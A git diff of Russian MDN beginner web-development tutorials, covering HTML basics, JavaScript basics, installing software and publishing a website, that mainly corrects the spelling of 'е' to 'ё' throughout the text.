          5. Если сервер одобряет запрос клиента, сервер отправляет клиенту статус "200 ОК", который означает: "Конечно, вы можете посмотреть на этот сайт! Вот он", а затем начинает отправку файлов сайта в браузер в виде небольших порций, называемых пакетными данными (магазин выдаёт вам ваш товар или вам привозят его домой).
          6. Браузер собирает маленькие куски в полноценный сайт и показывает его вам (товар прибывает к вашей двери — новые вещи, потрясающе!).
          diff --git a/files/ru/learn/getting_started_with_the_web/html_basics/index.html b/files/ru/learn/getting_started_with_the_web/html_basics/index.html index ecfa21217d..c0265eeccc 100644 --- a/files/ru/learn/getting_started_with_the_web/html_basics/index.html +++ b/files/ru/learn/getting_started_with_the_web/html_basics/index.html @@ -18,7 +18,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics

          Что такое HTML на самом деле?

          -

          HTML не является языком программирования; это язык разметки, и используется, чтобы сообщать вашему браузеру, как отображать веб-страницы, которые вы посещаете. Он может быть сложным или простым, в зависимости от того, как хочет веб-дизайнер. HTML состоит из ряда {{Glossary("element", "элементов")}}, которые вы используете, чтобы вкладывать или оборачивать различные части контента, чтобы заставить контент отображаться или действовать определенным образом. Ограждающие {{Glossary("tag", "теги")}} могут сделать слово или изображение ссылкой на что-то еще, могут сделать слова курсивом, сделать шрифт больше или меньше и так далее. Например, возьмем следующую строку контента:

          +

          HTML не является языком программирования; это язык разметки, и используется, чтобы сообщать вашему браузеру, как отображать веб-страницы, которые вы посещаете. Он может быть сложным или простым, в зависимости от того, как хочет веб-дизайнер. HTML состоит из ряда {{Glossary("element", "элементов")}}, которые вы используете, чтобы вкладывать или оборачивать различные части контента, чтобы заставить контент отображаться или действовать определённым образом. Ограждающие {{Glossary("tag", "теги")}} могут сделать слово или изображение ссылкой на что-то ещё, могут сделать слова курсивом, сделать шрифт больше или меньше и так далее. Например, возьмём следующую строку контента:

          Моя кошка очень раздражена
          @@ -35,8 +35,8 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics

          Главными частями нашего элемента являются:

            -
          1. Открывающий тег (Opening tag): Состоит из имени элемента (в данном случае, "p"), заключенного в открывающие и закрывающие угловые скобки.  Открывающий тег указывает, где элемент начинается или начинает действовать, в данном случае — где начинается абзац.
            2. -
          2. Закрывающий тег (Closing tag): Это то же самое, что и открывающий тег, за исключением того, что он включает в себя косую черту перед именем элемента. Закрывающий элемент указывает, где элемент заканчивается, в данном случае — где заканчивается абзац. Отсутствие закрывающего тега является одной из наиболее распространенных ошибок начинающих и может приводить к странным результатам.
            3. +
          3. Открывающий тег (Opening tag): Состоит из имени элемента (в данном случае, "p"), заключённого в открывающие и закрывающие угловые скобки.  Открывающий тег указывает, где элемент начинается или начинает действовать, в данном случае — где начинается абзац.
            4. +
          4. Закрывающий тег (Closing tag): Это то же самое, что и открывающий тег, за исключением того, что он включает в себя косую черту перед именем элемента. Закрывающий элемент указывает, где элемент заканчивается, в данном случае — где заканчивается абзац. Отсутствие закрывающего тега является одной из наиболее распространённых ошибок начинающих и может приводить к странным результатам.
          5. Контент (Content): Это контент элемента, который в данном случае является просто текстом.
          6. Элемент(Element): Открывающий тег, закрывающий тег и контент вместе составляют элемент.
          @@ -52,7 +52,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
          1. Пробел между ним и именем элемента (или предыдущим атрибутом, если элемент уже имеет один или несколько атрибутов).
          2. Имя атрибута, за которым следует знак равенства.
            3. -
          3. Значение атрибута, заключенное с двух сторон в кавычки.
            4. +
          4. Значение атрибута, заключённое с двух сторон в кавычки.

          Вложенные элементы

          @@ -61,7 +61,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics 
          <p>Моя кошка <strong>очень</strong> раздражена.</p>
          -

          Вы, однако, должны убедиться, что ваши элементы правильно вложены: в примере выше мы открыли первым элемент {{htmlelement("p")}}, затем элемент {{htmlelement("strong")}}, потом мы должны закрыть сначала элемент {{htmlelement("strong")}}, затем {{htmlelement("p")}}. Приведенное ниже неверно:

          +

          Вы, однако, должны убедиться, что ваши элементы правильно вложены: в примере выше мы открыли первым элемент {{htmlelement("p")}}, затем элемент {{htmlelement("strong")}}, потом мы должны закрыть сначала элемент {{htmlelement("strong")}}, затем {{htmlelement("p")}}. Приведённое ниже неверно:

          <p>Моя кошка <strong>очень раздражена.</p></strong>
          @@ -69,7 +69,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics

          Пустые элементы

          -

          Некоторые элементы не имеют контента, и называются пустыми элементами. Возьмем  элемент {{htmlelement("img")}}, который уже имеется в нашем HTML:

          +

          Некоторые элементы не имеют контента, и называются пустыми элементами. Возьмём  элемент {{htmlelement("img")}}, который уже имеется в нашем HTML:

          <img src="images/firefox-icon.png" alt="Моё тестовое изображение">
          @@ -77,7 +77,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics

          Анатомия HTML документа

          -

          Мы завершили изучение основ отдельных HTML элементов, но они не очень полезны сами по себе. Теперь мы посмотрим, как отдельные элементы объединяются в целую HTML страницу. Давайте вернемся к коду, который мы записывали в наш index.html (с которым мы впервые встретились в статье Работа с файлами):

          +

          Мы завершили изучение основ отдельных HTML элементов, но они не очень полезны сами по себе. Теперь мы посмотрим, как отдельные элементы объединяются в целую HTML страницу. Давайте вернёмся к коду, который мы записывали в наш index.html (с которым мы впервые встретились в статье Работа с файлами):

          <!DOCTYPE html>
 <html>
@@ -93,12 +93,12 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
 
          Здесь мы имеем:
          
 
 
            
- 
          • <!DOCTYPE html> — доктайп. В прошлом, когда HTML был молод (около 1991/1992), доктайпы должны были выступать в качестве ссылки на набор правил, которым HTML страница должна была следовать, чтобы считаться хорошим HTML, что могло означать автоматическую проверку ошибок и другие полезные вещи. Однако в наши дни, никто не заботится об этом, и они на самом деле просто исторический артефакт, который должен быть включен для того, что бы все работало правильно. На данный момент это все, что вам нужно знать.
            • 
+ 
          • <!DOCTYPE html> — доктайп. В прошлом, когда HTML был молод (около 1991/1992), доктайпы должны были выступать в качестве ссылки на набор правил, которым HTML страница должна была следовать, чтобы считаться хорошим HTML, что могло означать автоматическую проверку ошибок и другие полезные вещи. Однако в наши дни, никто не заботится об этом, и они на самом деле просто исторический артефакт, который должен быть включён для того, что бы все работало правильно. На данный момент это все, что вам нужно знать.
            • 
  
          • <html></html> — элемент {{htmlelement("html")}}. Этот элемент оборачивает весь контент на всей странице, и иногда известен как корневой элемент.
            • 
  
          • <head></head> — элемент {{htmlelement("head")}}. Этот элемент выступает в качестве контейнера для всего, что вы пожелаете включить на HTML страницу, но не являющегося контентом, который вы показываете пользователям вашей страницы. К ним относятся такие вещи, как ключевые слова и описание страницы, которые будут появляться в результатах поиска, CSS стили нашего контента, кодировка и многое другое.
            • 
  
          • <body></body> — элемент {{htmlelement("body")}}. В нем содержится весь контент, который вы хотите показывать пользователям, когда они посещают вашу страницу, будь то текст, изображения, видео, игры, проигрываемые аудиодорожки или что-то еще.
            • 
  
          • <meta charset="utf-8"> — этот элемент устанавливает UTF-8 кодировку вашего документа, которая включает в себя большинство символов из всех известных человечеству языков. По сути, теперь документ может обрабатывать любой текстовый контент, который вы в него вложите. Нет причин не устанавливать её, так как это может помочь избежать некоторых проблем в дальнейшем.
            • 
- 
          • <title></title> — элемент {{htmlelement("title")}}. Этот элемент устанавливает заголовок для вашей страницы, который является названием, появляющимся на вкладке браузера загружаемой страницы, и используется для описания страницы, когда вы добавляете ее в закладки/избранное.
            • 
+ 
          • <title></title> — элемент {{htmlelement("title")}}. Этот элемент устанавливает заголовок для вашей страницы, который является названием, появляющимся на вкладке браузера загружаемой страницы, и используется для описания страницы, когда вы добавляете её в закладки/избранное.
            • 
 
          
 
 
          Изображения
          
@@ -118,7 +118,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
 
 
          
 
-
          Альтернативный текст - это "пояснительный текст". Он должен предоставить читателю достаточно информации, чтобы иметь представление о том, что передает изображение. В этом примере наш текст "My test image" ("Моё тестовое изображение") не годится. Намного лучшей альтернативой для нашего логотипа Firefox будет "The Firefox logo: a flaming fox surrounding the Earth" ("Логотип Firefox: огненный Лис вокруг Земли").
          
+
          Альтернативный текст - это "пояснительный текст". Он должен предоставить читателю достаточно информации, чтобы иметь представление о том, что передаёт изображение. В этом примере наш текст "My test image" ("Моё тестовое изображение") не годится. Намного лучшей альтернативой для нашего логотипа Firefox будет "The Firefox logo: a flaming fox surrounding the Earth" ("Логотип Firefox: огненный Лис вокруг Земли").
          
 
 
          Сейчас попробуйте придумать более подходящий альтернативный текст для вашего изображения.
          
 
@@ -132,7 +132,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
 
 
          Заголовки
          
 
-
          Элементы заголовка позволяют вам указывать определенные части вашего контента в качестве заголовков или подзаголовков. Точно так же, как книга имеет название, названия глав и подзаголовков, HTML документ может содержать то же самое. HTML включает шесть уровней заголовков {{htmlelement("h1")}}–{{htmlelement("h6")}}, хотя обычно вы будете использовать не более 3-4 :
          
+
          Элементы заголовка позволяют вам указывать определённые части вашего контента в качестве заголовков или подзаголовков. Точно так же, как книга имеет название, названия глав и подзаголовков, HTML документ может содержать то же самое. HTML включает шесть уровней заголовков {{htmlelement("h1")}}–{{htmlelement("h6")}}, хотя обычно вы будете использовать не более 3-4 :
          
 
 
          <h1>Мой главный заголовок</h1>
 <h2>Мой заголовок верхнего уровня</h2>
@@ -151,7 +151,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
 
 
          Списки
          
 
-
          Большая часть веб-контента является списками и HTML имеет специальные элементы для них. Разметка списка всегда состоит по меньшей мере из двух элементов. Наиболее распространенными типами списков являются нумерованные и ненумерованные списки:
          
+
          Большая часть веб-контента является списками и HTML имеет специальные элементы для них. Разметка списка всегда состоит по меньшей мере из двух элементов. Наиболее распространёнными типами списков являются нумерованные и ненумерованные списки:
          
 
 
            
  
          1. Ненумерованные списки - это списки, где порядок пунктов не имеет значения, как в списке покупок. Они оборачиваются в элемент {{htmlelement("ul")}}.
            2. 
@@ -201,11 +201,11 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
 
            href сначала может выглядеть довольно непонятым выбором для имени атрибута. Если у вас возникли проблемы с тем, чтобы запомнить его, можете запомнить, что атрибут href образуется как hypertext reference ("гипертекстовая ссылка").
            
 
 
-
            Теперь добавьте ссылку на вашу страницу, если вы еще не сделали этого.
            
+
            Теперь добавьте ссылку на вашу страницу, если вы ещё не сделали этого.
            
 
 
            Заключение
            
 
-
            Если вы следовали всем инструкциям в этой статье, то вы должны увидеть в конечном итоге страницу, аналогичную рисунку ниже (вы также можете посмотреть ее здесь):
            
+
            Если вы следовали всем инструкциям в этой статье, то вы должны увидеть в конечном итоге страницу, аналогичную рисунку ниже (вы также можете посмотреть её здесь):
            
  
            
  A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text
            
 
diff --git a/files/ru/learn/getting_started_with_the_web/index.html b/files/ru/learn/getting_started_with_the_web/index.html
index 73be1678c7..f31d6ba696 100644
--- a/files/ru/learn/getting_started_with_the_web/index.html
+++ b/files/ru/learn/getting_started_with_the_web/index.html
@@ -25,9 +25,9 @@ translation_of: Learn/Getting_started_with_the_web
 
 
            История вашего первого веб-сайта
            
 
-
            Необходимо много работать, чтобы создать профессиональный веб-сайт, так что, если вы новичок в веб-разработке, мы рекомендуем начать с малого. Вы не будете создавать еще один Facebook прямо сейчас, но создать свой простой веб-сайт не так уж и сложно, так что мы начнем с этого.
            
+
            Необходимо много работать, чтобы создать профессиональный веб-сайт, так что, если вы новичок в веб-разработке, мы рекомендуем начать с малого. Вы не будете создавать ещё один Facebook прямо сейчас, но создать свой простой веб-сайт не так уж и сложно, так что мы начнём с этого.
            
 
-
            Прорабатывая статьи, перечисленные ниже по порядку, вы пройдете путь от нуля до создания своей первой веб-страницы. Ну что, давайте начнем!
            
+
            Прорабатывая статьи, перечисленные ниже по порядку, вы пройдёте путь от нуля до создания своей первой веб-страницы. Ну что, давайте начнём!
            
 
 
            Установка базового программного обеспечения
            
 
@@ -35,23 +35,23 @@ translation_of: Learn/Getting_started_with_the_web
 
 
            Каким должен быть ваш веб-сайт?
            
 
-
            Перед тем, как вы начнете писать код для вашего веб-сайта, нужно составить план. Какую информацию вы демонстрируете? Какие шрифты и цвета вы используете? Каким должен быть ваш веб-сайт? Мы опишем простой метод, которому вы сможете следовать, чтобы спланировать содержание и дизайн вашего сайта.
            
+
            Перед тем, как вы начнёте писать код для вашего веб-сайта, нужно составить план. Какую информацию вы демонстрируете? Какие шрифты и цвета вы используете? Каким должен быть ваш веб-сайт? Мы опишем простой метод, которому вы сможете следовать, чтобы спланировать содержание и дизайн вашего сайта.
            
 
 
            Работа с файлами
            
 
-
            Веб-сайт состоит из множества файлов: текстового содержания, кода, таблиц стилей, медиа-контента, и так далее. Когда вы создаете веб-сайт, вам нужно собрать эти файлы в разумную структуру и убедиться, что они могут взаимодействовать друг с другом. Работа с файлами объясняет, как создать разумную файловую структуру для вашего веб-сайта и про какие проблемы вы должны знать.
            
+
            Веб-сайт состоит из множества файлов: текстового содержания, кода, таблиц стилей, медиа-контента, и так далее. Когда вы создаёте веб-сайт, вам нужно собрать эти файлы в разумную структуру и убедиться, что они могут взаимодействовать друг с другом. Работа с файлами объясняет, как создать разумную файловую структуру для вашего веб-сайта и про какие проблемы вы должны знать.
            
 
 
            Основы HTML
            
 
-
            Язык гипертекстовой разметки (Hypertext Markup Language, HTML) - это код, который вы используете для структурирования веб-содержимого и придания ему смысла и цели. Например, является ли мое содержимое набором абзацев, либо списком маркированных пунктов? Нужно ли вставить изображения на мою страницу? Есть ли у меня таблица данных? Не перегружая вас, статья Основы HTML предоставляет достаточно информации для вашего знакомства с HTML.
            
+
            Язык гипертекстовой разметки (Hypertext Markup Language, HTML) - это код, который вы используете для структурирования веб-содержимого и придания ему смысла и цели. Например, является ли моё содержимое набором абзацев, либо списком маркированных пунктов? Нужно ли вставить изображения на мою страницу? Есть ли у меня таблица данных? Не перегружая вас, статья Основы HTML предоставляет достаточно информации для вашего знакомства с HTML.
            
 
 
            Основы CSS
            
 
-
            Каскадные таблицы стилей (Cascading Stylesheets, CSS) - это код, который вы используете для стилизации своего веб-сайта. Например, хотите ли вы, чтобы текст был черным или красным? Где должно быть нарисовано содержимое на экране? Какие фоновые изображения и цвета должны быть использованы, чтобы украсить ваш веб-сайт? Основы CSS проведет вас через то, что вам нужно знать, чтобы начать.
            
+
            Каскадные таблицы стилей (Cascading Stylesheets, CSS) - это код, который вы используете для стилизации своего веб-сайта. Например, хотите ли вы, чтобы текст был черным или красным? Где должно быть нарисовано содержимое на экране? Какие фоновые изображения и цвета должны быть использованы, чтобы украсить ваш веб-сайт? Основы CSS проведёт вас через то, что вам нужно знать, чтобы начать.
            
 
 
            Основы JavaScript
            
 
-
            JavaScript - это язык программирования, который вы используете для добавления интерактивных функций для вашего веб-сайта, например, игр, событий, которые происходят при нажатии кнопок или ввода данных в формы, динамических эффектов стилизации, анимации и многого другого. Основы JavaScript дает вам представление о том, что можно сделать с помощью этого захватывающего языка, и как начать.
            
+
            JavaScript - это язык программирования, который вы используете для добавления интерактивных функций для вашего веб-сайта, например, игр, событий, которые происходят при нажатии кнопок или ввода данных в формы, динамических эффектов стилизации, анимации и многого другого. Основы JavaScript даёт вам представление о том, что можно сделать с помощью этого захватывающего языка, и как начать.
            
 
 
            Публикация вашего веб-сайта
            
 
@@ -59,7 +59,7 @@ translation_of: Learn/Getting_started_with_the_web
 
 
            Как работает Интернет
            
 
-
            Когда вы заходите на свой любимый веб-сайт, в фоновом режиме происходит много сложных вещей, о которых вы можете не знать. Статья Как работает Интернет описывает, что происходит, когда вы просматриваете веб-страницы на своем компьютере.
            
+
            Когда вы заходите на свой любимый веб-сайт, в фоновом режиме происходит много сложных вещей, о которых вы можете не знать. Статья Как работает Интернет описывает, что происходит, когда вы просматриваете веб-страницы на своём компьютере.
            
 
 
            Смотрите также
            
 
diff --git a/files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html b/files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html
index a8728f3cf7..33b1095fa4 100644
--- a/files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html
+++ b/files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html
@@ -26,7 +26,7 @@ original_slug: Learn/Getting_started_with_the_web/Установка_базов
 
            Какие инструменты используют профессионалы?
            
 
 
              
- 
            • Компьютер. Может быть, это звучит очевидно для некоторых людей, но некоторые из вас читают эту статью с телефона или библиотечного компьютера. Для серьезной веб-разработки, лучше приобрести настольный компьютер (Windows, Mac или Linux).
              • 
+ 
            • Компьютер. Может быть, это звучит очевидно для некоторых людей, но некоторые из вас читают эту статью с телефона или библиотечного компьютера. Для серьёзной веб-разработки, лучше приобрести настольный компьютер (Windows, Mac или Linux).
              • 
  
            • Текстовый редактор, чтобы писать код. Это может быть текстовый редактор (например, Visual Studio Code, Notepad++, Sublime Text, Atom, GNU Emacs, или VIM) или гибридный редактор (например, Dreamweaver or WebStorm). Офисные редакторы не подходят для этого, поскольку они зависят от скрытых элементов, которые мешают движкам рендеринга, используемым веб-браузерами.
              • 
  
            • Веб-браузеры, для тестирования кода. В настоящее время наиболее часто используемые браузеры это Firefox, Chrome, Opera, Safari, и Internet Explorer. Вы также должны тестировать ваш сайт на то, как он работает на мобильных устройствах и на любых старых браузерах, которые ваша целевая аудитория может все ещё широко использовать (например, IE 6-8). Lynx, текстовый веб-браузер для терминала, отлично подходит для того, чтобы увидеть, как ваш сайт воспринимается слабовидящими пользователями.
              • 
  
            • Графический редактор, такие как The Gimp, Paint.NET, или Photoshop, чтобы создавать изображения для ваших веб-страниц.
              • 
diff --git a/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html b/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html
index 5cdf99a8da..f5c2597f08 100644
--- a/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html
+++ b/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html
@@ -40,7 +40,7 @@ translation_of: Learn/Getting_started_with_the_web/JavaScript_basics
 
 
              Предыдущий раздел звучит очень многообещающе, и это на самом деле так — JavaScript является одной из самых перспективных веб-технологий, и когда вы освоитесь и начнёте использовать его, ваши веб-сайты перейдут в новое измерение мощи и креативности.
              
 
-
              Тем не менее, с JavaScript немного более сложно освоиться, чем с HTML и CSS. Вам придется начать с малого, продолжая изучение небольшими шагами. Для начала мы покажем вам, как добавить некоторые основы JavaScript на вашу страницу, чтобы создать "hello world!" пример (стандарт в начальных примерах программирования).
              
+
              Тем не менее, с JavaScript немного более сложно освоиться, чем с HTML и CSS. Вам придётся начать с малого, продолжая изучение небольшими шагами. Для начала мы покажем вам, как добавить некоторые основы JavaScript на вашу страницу, чтобы создать "hello world!" пример (стандарт в начальных примерах программирования).
              
 
 
              
 
              Важно: Если вы не следили за остальным нашим курсом, скачайте этот пример кода и используйте его в качестве стартовой точки.
              
@@ -65,7 +65,7 @@ myHeading.textContent = 'Hello world!';
          
 
 
          Что произошло?
          
 
-
          Итак, ваш заголовок текста был изменен на "Hello world!" с помощью JavaScript. Мы сделали это с помощью вызова функции {{domxref("Document.querySelector", "querySelector()")}}, захватив ссылку на наш заголовок и сохранив её в переменной, названной myHeading. Это очень похоже на то, что мы делали в CSS с помощью селекторов. Если вы хотите что-то сделать с элементом, то для начала вам нужно его выбрать.
          
+
          Итак, ваш заголовок текста был изменён на "Hello world!" с помощью JavaScript. Мы сделали это с помощью вызова функции {{domxref("Document.querySelector", "querySelector()")}}, захватив ссылку на наш заголовок и сохранив её в переменной, названной myHeading. Это очень похоже на то, что мы делали в CSS с помощью селекторов. Если вы хотите что-то сделать с элементом, то для начала вам нужно его выбрать.
          
 
 
          После этого, вы устанавливаете значение переменной myHeading в {{domxref("Node.textContent", "textContent")}} свойство (которое представляет собой контент заголовка) "Hello world!".
          
 
@@ -175,7 +175,7 @@ myVariable = 'Steve';

          Операторы

          -

          {{Glossary("operator")}} — это математический символ, который производит результат, основанный на двух значениях (или переменных). В приведенной ниже таблице вы можете увидеть некоторые из наиболее простых операторов, наряду с некоторыми примерами, которые опробуете в JavaScript консоли.

          +

          {{Glossary("operator")}} — это математический символ, который производит результат, основанный на двух значениях (или переменных). В приведённой ниже таблице вы можете увидеть некоторые из наиболее простых операторов, наряду с некоторыми примерами, которые опробуете в JavaScript консоли.

          @@ -199,7 +199,7 @@ myVariable = 'Steve'; @@ -242,7 +242,7 @@ myVariable = 'Steve';

          Условия

          -

          Условия — это кодовые структуры, которые позволяют вам проверять, истинно или ложно выражение, а затем выполнить другой код в зависимости от результата. Самая распространенная форма условия называется, if ... else. Например:

          +

          Условия — это кодовые структуры, которые позволяют вам проверять, истинно или ложно выражение, а затем выполнить другой код в зависимости от результата. Самая распространённая форма условия называется, if ... else. Например:

          var iceCream = 'chocolate';
 if (iceCream === 'chocolate') {
@@ -255,7 +255,7 @@ if (iceCream === 'chocolate') {
 
 
          Функции
          
 
-
          {{Glossary("Function", "Функции")}} - способ упаковки функциональности, которую вы хотите использовать повторно. Всякий раз, когда вам нужна определенная процедура, вы можете просто вызвать функцию по её имени, а не переписывать весь код каждый раз. Вы уже видели некоторые функции, описанные выше, например:
          
+
          {{Glossary("Function", "Функции")}} - способ упаковки функциональности, которую вы хотите использовать повторно. Всякий раз, когда вам нужна определённая процедура, вы можете просто вызвать функцию по её имени, а не переписывать весь код каждый раз. Вы уже видели некоторые функции, описанные выше, например:
          
 
 
            
  
          1. 
@@ -286,7 +286,7 @@ multiply(20,20);
 multiply(0.5,3);
          -

          Примечание: Инструкция return сообщает браузеру, что нужно вернуть переменную result из функции, которую можно будет использовать. Это необходимо потому, что переменные, определенные внутри функций, доступны только внутри этих функций. Это называется {{Glossary("Scope", "областью видимости")}} переменной. (Читайте больше об области видимости переменных.)

          +

          Примечание: Инструкция return сообщает браузеру, что нужно вернуть переменную result из функции, которую можно будет использовать. Это необходимо потому, что переменные, определённые внутри функций, доступны только внутри этих функций. Это называется {{Glossary("Scope", "областью видимости")}} переменной. (Читайте больше об области видимости переменных.)

          События

          @@ -351,7 +351,7 @@ myImage.onclick = function() {

          Добавление персонального приветственного сообщения

          -

          Далее мы добавим немного другого кода, чтобы изменить заголовок страницы на персонализированное приветственное сообщение, когда пользователь впервые зайдет на сайт. Это приветственное сообщение будет сохраняться, когда пользователь покинет сайт, а позже вернется - мы сохраним его с помощью Web Storage API. Мы также включим возможность изменить пользователя и, следовательно, приветственное сообщение, в любое время, когда это будет необходимо.

          +

          Далее мы добавим немного другого кода, чтобы изменить заголовок страницы на персонализированное приветственное сообщение, когда пользователь впервые зайдёт на сайт. Это приветственное сообщение будет сохраняться, когда пользователь покинет сайт, а позже вернётся - мы сохраним его с помощью Web Storage API. Мы также включим возможность изменить пользователя и, следовательно, приветственное сообщение, в любое время, когда это будет необходимо.

          1. В index.html, добавьте следующую строку перед элементом {{htmlelement("script")}}: @@ -368,7 +368,7 @@ var myHeading = document.querySelector('h1'); localStorage.setItem('name', myName); myHeading.textContent = 'Mozilla is cool, ' + myName; } - Эта функция содержит функцию prompt(), которая вызывает диалоговое окно, немного похожее на alert() кроме того, что prompt() просит пользователя ввести некоторые данные, и сохраняет эти данные в переменной, после того как пользователь нажимает OK. В данном случае, мы просим пользователя ввести его имя. Далее, мы вызываем API под названием localStorage, который позволяет нам хранить данные в браузере и извлекать их позднее. Мы используем функцию setItem() из localStorage для создания и хранения данных в свойстве под названием 'name', и устанавливаем это значение в переменную myName, которая содержит имя введенное пользователем. В конце мы устанавливаем textContent заголовку в виде строки и имени пользователя.
            2. + Эта функция содержит функцию prompt(), которая вызывает диалоговое окно, немного похожее на alert() кроме того, что prompt() просит пользователя ввести некоторые данные, и сохраняет эти данные в переменной, после того как пользователь нажимает OK. В данном случае, мы просим пользователя ввести его имя. Далее, мы вызываем API под названием localStorage, который позволяет нам хранить данные в браузере и извлекать их позднее. Мы используем функцию setItem() из localStorage для создания и хранения данных в свойстве под названием 'name', и устанавливаем это значение в переменную myName, которая содержит имя введённое пользователем. В конце мы устанавливаем textContent заголовку в виде строки и имени пользователя.
          2. Затем добавьте блок if ... else - мы могли бы назвать это кодом инициализации, поскольку он структурирует приложение при его первой загрузке: 
            if(!localStorage.getItem('name')) {
   setUserName();
@@ -376,7 +376,7 @@ var myHeading = document.querySelector('h1');
            var storedName = localStorage.getItem('name'); myHeading.textContent = 'Mozilla is cool, ' + storedName; } - Этот блок сначала использует оператор отрицания (логическое НЕ, представленное в виде !) чтобы проверить, существуют ли данные в пункте name. Если нет, то функция setUserName() запускается для их создания. Если данные существуют (то есть, пользователь установил его во время предыдущего посещения), мы извлекаем сохраненное имя, с помощью getItem() и устанавливаем textContent заголовку в виде строки плюс имя пользователя, так же, как мы делали внутри setUserName().
            3. + Этот блок сначала использует оператор отрицания (логическое НЕ, представленное в виде !) чтобы проверить, существуют ли данные в пункте name. Если нет, то функция setUserName() запускается для их создания. Если данные существуют (то есть, пользователь установил его во время предыдущего посещения), мы извлекаем сохранённое имя, с помощью getItem() и устанавливаем textContent заголовку в виде строки плюс имя пользователя, так же, как мы делали внутри setUserName().
          3. Наконец, установите обработчик события onclick на кнопку. При нажатии кнопки запускается функция setUserName(). Это позволяет пользователю установить новое имя, всякий раз, когда он захочет, нажатием кнопки: 
            myButton.onclick = function() {
   setUserName();
diff --git a/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html b/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html
index afa0a343df..bf50ebe6c6 100644
--- a/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html
+++ b/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html
@@ -21,14 +21,14 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
 
 
            Какие существуют варианты?
            
 
-
            Публикация веб-сайта это не простая тема, главным образом, потому что существует много различных способов сделать это. В этой статье мы не стремимся документировать все возможные методы. Скорее, мы обсудим плюсы и минусы трех обширных стратегий с точки зрения новичка, а затем вы пройдете через один метод, который будет работать в настоящее время.
            
+
            Публикация веб-сайта это не простая тема, главным образом, потому что существует много различных способов сделать это. В этой статье мы не стремимся документировать все возможные методы. Скорее, мы обсудим плюсы и минусы трёх обширных стратегий с точки зрения новичка, а затем вы пройдёте через один метод, который будет работать в настоящее время.
            
 
 
            Получение хостинга и доменного имени
            
 
 
            Чтобы иметь больший контроль над контентом и внешним видом веб-сайта, большинство людей предпочитают покупать веб-хостинг и доменное имя:
            
 
 
              
- 
            • Хостинг — арендованное файловое пространство на веб-сервере хостинговой компании. Вы размещаете ваши файлы веб-сайта в этом пространстве, и веб-сервер выдает контент для веб-пользователей, которые запрашивают его.
              • 
+ 
            • Хостинг — арендованное файловое пространство на веб-сервере хостинговой компании. Вы размещаете ваши файлы веб-сайта в этом пространстве, и веб-сервер выдаёт контент для веб-пользователей, которые запрашивают его.
              • 
  
            • Доменное имя — уникальный адрес по которому люди могут найти ваш веб-сайт, например http://www.mozilla.org или http://www.bbc.co.uk. Вы можете арендовать доменное имя на столько лет, сколько захотите (минимум на 1 год) у регистратора доменов.
              • 
 
            
 
@@ -41,7 +41,7 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
 
            Советы по поиску хостингов и доменов
            
 
 
              
- 
            • Здесь мы не продвигаем какие-то конкретные хостинговые компании. Чтобы найти хостинг и регистратора доменных имен, просто поищите "веб-хостинг" и "доменные имена". Во всех таких сервисах есть функция, позволяющая вам проверить, доступно ли имя домена, или кто-то другой уже зарегистрировал его. 
              • 
+ 
            • Здесь мы не продвигаем какие-то конкретные хостинговые компании. Чтобы найти хостинг и регистратора доменных имён, просто поищите "веб-хостинг" и "доменные имена". Во всех таких сервисах есть функция, позволяющая вам проверить, доступно ли имя домена, или кто-то другой уже зарегистрировал его. 
              • 
  
            • Ваш домашний или рабочий {{Glossary("ISP", "Интернет-провайдер")}} может предоставлять хостинговые услуги для небольших веб-сайтов. Набор возможностей в таком случае может быть ограничен, но, тем не менее, он может отлично подойти для ваших первых экспериментов - свяжитесь с ними и узнайте! 
              • 
  
            • Также есть несколько бесплатных сервисов, таких как Neocities, Blogspot, и Wordpress. Опять же, вы получаете то, за что платите, но они идеально подходят для ваших первоначальных экспериментов. Бесплатные сервисы по большей части не требуют FTP-клиентов - вы можете перетаскивать ваши файлы напрямую в веб-интерфейсе.
              • 
  
            • Иногда компании предлагают одновременно и хостинг и домен.
              • 
@@ -52,7 +52,7 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
 
              Некоторые сервисы позволяют вам опубликовать сайт:
              
 
 
                
- 
              • GitHub - это "социальная сеть программистов". С помощью нее можно загружать репозитории с вашими разработками для хранения в Git - систему контроля версий. По умолчанию все разработки хранятся с открытым исходным кодом, а это значит, что ваш код будет доступен любому - участники могут по нему учиться либо же предлагать свои улучшения. Вы также можете объединяться с другими кодерами! Это очень большое и полезное сообщество, в чьи ряды лучше вступить, и Git/GitHub это очень популярная система контроля версий — большинство компаний сейчас использует ее для работы. GitHub имеет очень полезную функцию GitHub pages, с помощью которой вы сможете опубликовать ваш код (ваш сайт) в интернете.
                • 
+ 
              • GitHub - это "социальная сеть программистов". С помощью неё можно загружать репозитории с вашими разработками для хранения в Git - систему контроля версий. По умолчанию все разработки хранятся с открытым исходным кодом, а это значит, что ваш код будет доступен любому - участники могут по нему учиться либо же предлагать свои улучшения. Вы также можете объединяться с другими кодерами! Это очень большое и полезное сообщество, в чьи ряды лучше вступить, и Git/GitHub это очень популярная система контроля версий — большинство компаний сейчас использует её для работы. GitHub имеет очень полезную функцию GitHub pages, с помощью которой вы сможете опубликовать ваш код (ваш сайт) в интернете.
                • 
  
